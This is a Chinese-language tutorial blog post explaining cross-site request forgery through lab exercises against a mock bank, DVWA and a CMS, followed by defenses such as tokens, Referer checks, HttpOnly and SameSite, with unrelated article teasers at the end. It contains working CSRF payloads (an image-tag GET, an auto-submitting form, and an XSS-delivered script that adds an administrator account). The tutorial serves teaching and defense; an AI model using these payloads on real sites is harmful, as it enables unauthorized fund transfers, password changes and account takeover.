当前位置: 首页 > news >正文

跨站请求伪造(CSRF)攻击与防御原理

跨站请求伪造(CSRF)

1.1 CSRF原理

1.1.1 基本概念

跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

1.1.2 关键点

  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

1.1.3 目标

  • CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
  • CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF 场景

1.2.1 银行账户转账

搭建模拟银行网站

image-20230828171043040

1.2.2 构造虚假网站

构造CSRF攻击连接

<meta charset='utf-8'>
<imgsrc='./1.jpg'><br/>
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>

攻击者通过 <img> 标签构造GET 请求:当浏览器加载图片的时候执行了GET请求链接。

浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

image-20230828165612981

同意浏览器下,两个网站,信任的网站A和不信任的网站B

环境搭建

银行环境

将bank压缩包解压后,创建数据库和表

image-20230828171959496

虚假网站

GET型

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

POST型

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.16.136/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

image-20230828172308668

步骤

使用两个浏览器登录admin和hacker的银行账户

image-20230828172633396

image-20230828172718159

1.admin用户登录银行网址时没有退出登录但是被引诱点击了hacker准备的危险网站,进入游戏

image-20230828172839533

2.当admin用户点击危险网站或者在危险网站中刷新的时候,就会遭受攻击,给hacker用户转账

image-20230828173200128

3.每有一个人点击hacker的危险网站hacker就会进账一百元,但是前提是,被攻击的用户在没退出网上银行的时候点击hacker的危险网站才会有效

image-20230828173342401

原因

在危险网站中打开F12,点击网络,本应该之访问self.php网站的但是又访问了bank网站

image-20230828174415526

image-20230828174604890

查看源代码,一个img标签中有恶意代码

image-20230828174817287

转账的三要素是原账号,转账金额,目标账号

原账号在cookie中

点击bank请求,查看cookie,此cookie是还未退出网上银行登录点击了危险网站的hello用户的cookie

image-20230828175451890

在危险网站中有hello用户网上银行的cookie,此时这就是跨站;当访问危险网站的时候,危险网站又在本浏览器中向网上银行发起请求,当危险网站中存储的是网上银行的cookie,也会将cookie信息带上,那么就形成了转账的三要素。进行了转账。

1.3 CSRF类别

1.3.1 POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'> 
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

1.4 CSRF 验证

1.4.1 CSRF PoC generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

打开dvwa

image-20230828192201170

使用bp构建链接

打开bp,点击target模块

image-20230828192257637

展开网页路径,形成一个目录结构,发现有许多的文件或目录上有红点,点开红点就会发现有安全风险。

使用bp代理时,也会自动检测一些安全风险

image-20230828192753480

image-20230828193324043

image-20230828193506799

点击CSRF,修改密码,在bp中点击history,点击修改密码的链接

image-20230828194024692

在Request中右击找到Engagement tools,点击Generate CSRF PoC(生成CSRF漏洞验证代码)

image-20230828194506166

生成代码后,修改密码为123.com,点击浏览器中测试生成一个url地址,复制url地址

image-20230828194715286

image-20230828195039280

image-20230828195115646

在admin还没有退出dvwa时访问复制的url地址(恶意网站)

image-20230828195351236

当用户点击Submit request时密码就会被修改

image-20230828195436642

image-20230828195535872

image-20230828195553628

2. CSRF 攻防

2.1 CSRF 实战

2.1.1 与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>

前提

什么是与XSS相结合:就是说这个请求和触发通过js代码来触发。要想触发请求的话,先研究目标网站的工作流程,得知道网站是否含有XSS漏洞。

结合XSS添加账户

登录cms,点击管理员账号,点击添加用户:xu,123456

image-20230828201903147

image-20230828202040838

找到添加账号的数据包,将数据保存。

POST /cms/admin/user.action.php HTTP/1.1Host: 192.168.16.136Content-Length: 105Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.16.136Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.16.136/cms/admin/user.add.php?act=addAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: username=admin; userid=1; PHPSESSID=o4h4avhnt0km9mnq89vbj97g32Connection: closeact=add&username=xu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

因为请求和触发通过js代码来触发,open中的地址改为cms的地址,send中添加抓取的数据包中的act

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.16.136/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=xujie&password=991207&password2=991207&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

在cms系统首页中点击留言板,在留言板中添加数据

image-20230828203131332

image-20230828203314659

提交,管理员进行留言管理,当看见留言时已遭受攻击,使用创建的用户密码登录

image-20230828203627939

2.2 CSRF 防御

2.2.1 无效防御

使用秘密的Cookie:将存储在浏览器端用来身份认证的cookie信息进行加密。

仅接收POST 请求。

多步交易:多步交易,有可能会被恶意攻击者预测。

URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。

HTTPS:所有安全机制的前提。

2.2.2 有效防御

验证Referer 字段:

  • 前URL 的上一个URL;
  • 转账页面到转账操作;
  • 伪造?

添加Token 验证:

image-20230828204758285

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:cookie安全机制,某些情况下禁止JS 脚本访问Cookie 信息。

在phpstudy中的根目录下,创建文件夹php,php中创建文件夹funcitions,在此文件夹下创建setcookie.php,setcookie是php的函数用来下发cookie信息的,在php.net中查看,setcookie中有七个参数

PHP:setcookie

image-20230828210107948

<?phpsetcookie("username","xujie",time()+3600),"","","",true)
?>

先不添加true参数

<?php  setcookie("username","xujie",time()+3600),"","","")
?>

打开浏览器访问setcookie.php,页面什么也没有

image-20230828210818775

打开F12 ,点击Console,输入alert(document.cookie);cookie信息显现

image-20230828211805418

点击Application,点击cookie,httponly没有选择

image-20230828211906374

删除cookie,重新点击Console,输入alert(document.cookie);没有cookie

image-20230828212200316

访问添加了true的setcookie.php页面

打开F12 ,点击Console,输入alert(document.cookie);cookie信息没有显现

image-20230828211118862

点击Application,点击cookie,有cookie并且开启httponly

image-20230828212542455

SameSite:Cookie 属性,浏览器自带安全机制。

相关文章:

跨站请求伪造(CSRF)攻击与防御原理

跨站请求伪造&#xff08;CSRF&#xff09; 1.1 CSRF原理 1.1.1 基本概念 跨站请求伪造&#xff08;Cross Site Request Forgery&#xff0c;CSRF&#xff09;是一种攻击&#xff0c;它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击&a…...

从0到1实现播放控制器

这系列文章主要讲诉如何从0到1使用QT实现带时间显示、滚动字幕等的自定义配置视频播放控制器。平时我们乘坐地铁经常看到各条线的播放控制器都大同小异。其实都是通过QT等界面开发软件来实现的。 在具体开发之前&#xff0c;需要明确我们需要做什么&#xff1f; 1. 开发一个可…...

【Vue-Element-Admin】导出el-table全部数据

背景 因为el-table实现了分页查询&#xff0c;所以想要实现el-table需要重新编写一个查询全部数据的方法 查询全部数据 listQuery: export default{return{listQuery:{//page:1,//limit:20,//如果想兼容按条件导出&#xff0c;可以定义查询条件age:undefined,sex:undefined…...

MFC 更改控件的大小和位置

获取当前主窗体的位置rect CRect dlgNow;GetWindowRect(&dlgNow);获取某一个控件当前的位置 CRect rect;CButton* pBtn (CButton*)GetDlgItem(IDC_BUTTONXXX);//获取按钮控件pBtn->GetWindowRect(rect);CWnd* pWnd(CWnd*)GetDlgItem(IDC_EDITXXX);//其它控件&#xff0…...

【向量数据库】相似向量检索Faiss数据库的安装及余弦相似度计算(C++)

目录 简介安装方法安装OpenBLAS安装lapack编译Faiss 代码示例余弦相似度计算输出ID号而非索引的改进版 简介 Faiss 是一个强大的向量相似度搜索库&#xff0c;具有以下优点&#xff1a; 高效的搜索性能&#xff1a;Faiss 在处理大规模向量数据时表现出色。它利用了高度优化的索…...

教育培训小程序的设计与功能解析

随着互联网的发展&#xff0c;线上教育逐渐成为一种趋势&#xff0c;越来越多的人开始选择在线学习。而搭建一个适合自己的线上教育小程序&#xff0c;可以为教育机构或个人提供更好的教学和学习体验。在本文中&#xff0c;我们将介绍如何通过一个第三方制作平台来搭建在线教育…...

【ES】illegal_argument_exception“,“reason“:“Result window is too large

查询ES数据返回错误&#xff1a; {"root_cause":[{"type":"illegal_argument_exception","reason":"Result window is too large, from size must be less than or equal to: [10000] but was [999999]. See the scroll api for…...

SpringBoot实现登录拦截

如果我们不进行登录拦截的话&#xff0c;即使我们跳过登录页面直接去访问任意一个页面也能访问成功&#xff0c;那么登录功能就没有意义&#xff0c;同时也会存在安全问题&#xff0c;因为有些操作是要用户登录后才能执行的&#xff0c;如果用户没有登录&#xff0c;该接口就获…...

浅谈泛在电力物联网、能源互联网与虚拟电厂

导读&#xff1a;从能源互联网推进受阻&#xff0c;到泛在电力物联网名噪一时&#xff0c;到虚拟电厂再次走向火爆&#xff0c;能源领域亟需更进一步的数智化发展。如今&#xff0c;随着新型电力系统建设推进&#xff0c;虚拟电厂有望迎来快速发展。除了国网和南网公司下属的电…...

深度学习框架安装与配置指南:PyTorch和TensorFlow详细教程

如何安装和配置深度学习框架PyTorch和TensorFlow 为什么选择PyTorch和TensorFlow&#xff1f;PyTorchTensorFlow安装PyTorch 步骤1&#xff1a;安装Python步骤2&#xff1a;使用pip安装PyTorch 安装TensorFlow 步骤1&#xff1a;安装Python步骤2&#xff1a;使用pip安装TensorF…...

vue中属性执行顺序

vue中属性的执行顺序 在Vue 2中&#xff0c;组件的生命周期和数据绑定的执行顺序如下&#xff1a; data&#xff1a;首先&#xff0c;组件会调用 data 函数&#xff0c;该函数返回一个对象&#xff0c;该对象的属性和方法会被分配给组件的 $data。init&#xff1a;接下来&…...

【代码随想录】Day 50 动态规划11 (买卖股票Ⅲ、Ⅳ)

买卖股票Ⅲ https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-iii/ 无语了。。。 写的很好就是怎么都过不了。。。 还是就用代码随想录的写法吧。。。 class Solution { public:int maxProfit(vector<int>& prices) {int n prices.size();vector&…...

PHP反序列化漏洞

一、序列化&#xff0c;反序列化 序列化&#xff1a;将php对象压缩并按照一定格式转换成字符串过程反序列化&#xff1a;从字符串转换回php对象的过程目的&#xff1a;为了方便php对象的传输和存储 seriallize() 传入参数为php对象&#xff0c;序列化成字符串 unseriali…...

容器编排学习(一)k8s集群管理

一 Kubernetes 1 概述 就在Docker容器技术被炒得热火朝天之时&#xff0c;大家发现&#xff0c;如果想要将Docker应用于具体的业务实现&#xff0c;是存在困难的一一编排、管理和调度等各个方面&#xff0c;都不容易。于是&#xff0c;人们迫切需要一套管理系统&#xff0…...

js去除字符串空格的几种方式

方法1&#xff1a;(最常用)全部去除掉空格 var str abc d e f g ; function trim(str) { var reg /[\t\r\f\n\s]*/g; if (typeof str string) { var trimStr str.replace(reg,); } console.lo…...

Spring 自带工具——URI 工具UriComponentsBuilder

UriComponentsBuilder 是 Spring Framework 提供的一个实用工具类&#xff0c;用于构建 URI&#xff08;Uniform Resource Identifier&#xff09;。URI 是用于标识和定位资源的字符串&#xff0c;例如 URL&#xff08;Uniform Resource Locator&#xff09;就是一种特殊的 URI…...

优化案例5:视图目标列改写优化

优化案例5&#xff1a;视图目标列改写优化 1. 问题描述2. 分析过程2.1 目标SQL2.2 解决思路1&#xff09;效率低的执行计划2&#xff09;视图过滤性3&#xff09;查看已有索引定义 2.3 视图改写2.4 增添复合索引 3. 优化总结 DM技术交流QQ群&#xff1a;940124259 1. 问题描述…...

Origin绘制彩色光谱图

成果图 1、双击线条打开如下窗口 2、选择“图案”-》颜色-》按点-》映射-》Wavelength 3、选择颜色映射 4、单击填充-》选择加载调色板-》Rainbow-》确定 5、单击级别&#xff0c;设置成从370到780&#xff0c;右侧增量选择2&#xff08;越小&#xff0c;颜色渐变越细腻&am…...

项目复盘:从实践中学习

引言 在我们的工作生涯中&#xff0c;每一个项目都是一次学习的机会。项目复盘是对已完成项目的全面评估&#xff0c;旨在理解我们做得好的地方&#xff0c;以及需要改进的地方。这篇文章将分享我们如何进行项目复盘&#xff0c;以及我们从中学到了什么。 项目背景 在我们开…...

机器学习和数据挖掘02-Gaussian Naive Bayes

概念 贝叶斯定理&#xff1a; 贝叶斯定理是概率中的基本定理&#xff0c;描述了如何根据更多证据或信息更新假设的概率。在分类的上下文中&#xff0c;它用于计算给定特征集的类别的后验概率。 特征独立性假设&#xff1a; 高斯朴素贝叶斯中的“朴素”假设是&#xff0c;给定…...

【面试题精讲】Java Stream排序的实现方式

首发博客地址 系列文章地址 如何使用Java Stream进行排序 在Java中&#xff0c;使用Stream进行排序可以通过sorted()方法来实现。sorted()方法用于对Stream中的元素进行排序操作。具体实现如下&#xff1a; 对基本类型元素的排序&#xff1a; 使用sorted()方法对Stream进行排序…...

浅谈Spring

Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器&#xff08;框架&#xff09;。 一、什么是IOC&#xff1f; IoC Inversion of Control 翻译成中⽂是“控制反转”的意思&#xff0c;也就是说 Spring 是⼀个“控制反转”的容器。 1.1控制反转推导 这个控制反转怎…...

Java 复习笔记 - 面向对象进阶篇

文章目录 一&#xff0c;Static&#xff08;一&#xff09;Static的概述&#xff08;二&#xff09;静态变量&#xff08;三&#xff09;静态方法&#xff08;四&#xff09;工具类&#xff08;五&#xff09;static的注意事项 二&#xff0c;继承&#xff08;一&#xff09;继…...

微信小程序中识别html标签的方法

rich-text组件 在微信小程序中有一个组件rich-text可以识别文本节点或是元素节点 具体入下: //需要识别的数据放在data中,然后放在nodes属性中即可 <rich-text nodes"{{data}}"></rich-text>详情可以参考官方文档:https://developers.weixin.qq.com/mi…...

02_常见网络层协议的头结构

1.ARP报文的报文结构 ARP首部的5个字段的含义&#xff1a; 硬件类型&#xff1a;值为1表示以太网MAC地址。 协议类型&#xff1a;表示要映射的协议地址类型&#xff0c;0x0800 表示映射为IP地址。 硬件地址长度&#xff1a;在以太网ARP的请求和应答中都是6&#xff0c;表示M…...

ChatGLM学习

GLM paper&#xff1a;https://arxiv.org/pdf/2103.10360.pdfchatglm 130B&#xff1a;https://arxiv.org/pdf/2210.02414.pdf 前置知识补充 双流自注意力 Two-stream self-attention mechanism&#xff08;双流自注意机制&#xff09;是一种用于自然语言处理任务的注意力机制…...

Flink之Watermark

1.乱序问题 流处理从事件产生&#xff0c;到流经source&#xff0c;再到operator&#xff0c;中间是有一个过程和时间的&#xff0c;虽然大部分情况下&#xff0c;流到operator的数据都是按照事件产生的时间顺序来的&#xff0c;但是也不排除由于网络、分布式等原因&#xff0…...

二轮平衡小车3:PID速度环

使用芯片&#xff1a;STM32 F103 C8T6 今日继续我的二路平衡小车开发之路&#xff0c;今日编写的是二轮平衡小车的PID速度环&#xff0c;我准备了纸飞机串口助手软件来辅助测试调节PID。 本文主要贴代码&#xff0c;之前的文章都有原理&#xff0c;代码中相应初始化驱动部分也…...

C语言之练习题

欢迎来到我的世界 希望这篇文章对你有所帮助&#xff0c;有不足的地方还请指正&#xff0c;大家一起学习交流 ! 目录 前言编程题第一题&#xff1a;珠玑妙算第二题&#xff1a;寻找奇数第三题&#xff1a;寻找峰值第四题&#xff1a;数对 总结 前言 这是暑假题目的收尾文章&am…...

没钱,没人,没经验?传统制造型企业如何用无代码实现转型

2023年&#xff0c;国家市场监督管理总局发布了三项重要标准&#xff0c;包括《工业互联网平台选型要求》、《工业互联网平台微服务参考框架》和《工业互联网平台开放应用编程接口功能要求》。这些标准的发布对于完善工业互联网平台标准体系&#xff0c;提升多样化工业互联网平…...

wordpress置顶文章/上海谷歌优化

情况一&#xff1a;ng-click 和ng-if 一起使用 情况二&#xff1a;AngularJS中动态添加的ng-click 失效 正常情况&#xff08;即非动态插入 DOM 对象&#xff09;下&#xff0c;ng-click 这样的指令之所以有效&#xff08;即点击之后能调用注册在可见作用域里的方法&#xff09…...

贵州省建设项目验收备案网站/哈尔滨seo推广优化

hello&#xff0c;我是apan啊&#xff0c;一位失业已久&#xff0c;正在努力学习python的点点点工程师&#xff0c;近期在努力找工作。 本篇记录并总结下我面试遇到的各种python题目以及相关的知识点&#xff0c;分5大类进行分享&#xff1a;基础问题类、算法问题类、自动化相关…...

小程序开发网站设计制作/网站做优化好还是推广好

​树控件的测试外观操作1&#xff09;项目中的所有树是否风格一致2&#xff09;树结构的默认状态是怎样的。比如默认树是否是展开&#xff0c;是展开几级&#xff1f; 是否有默认的焦点&#xff1f;默认值是什么&#xff1f;展开的节点图标和颜色&#xff1f;3&#xff09;验证…...

网站开发费怎么做会计分录/线上推广是什么意思

假设我们有这么一种需求&#xff0c;我们要同时添加年级和年级下面的多个班级&#xff0c;我们一般会像下面这种做法。 Action中我们这样接收&#xff1a; [HttpPost] public ActionResult CreateGrade(string gradeName, IEnumerable<string> classNames) {return View(…...

dede网站建设的个人总结/搜索引擎排名大全

nana 安全牛 漏洞管理依然是大多数安全计划的重要组成部分&#xff0c;全球绝大多数公司企业都认同这一点。 在安全公司Tripwire最近的一份网络健康状态调查中&#xff0c;80%的受访者称自家企业有漏洞扫描计划。约60%的受访者每天或每周进行一次扫描&#xff0c;40%的受访者…...

wordpress 关键词/个人自己免费建网站

摘要 js字符串转日期&#xff0c;js日期转字符串。 更新日志 2018/08/21 在字符串转日期中&#xff0c;修改“日”的默认值为1.可以识别单数字的“日”&#xff0c;”月“。比如 1-9-2018可以直接这样转换NayiUtil.to_date("1-9-2015", "dd-mm-yyyy") …...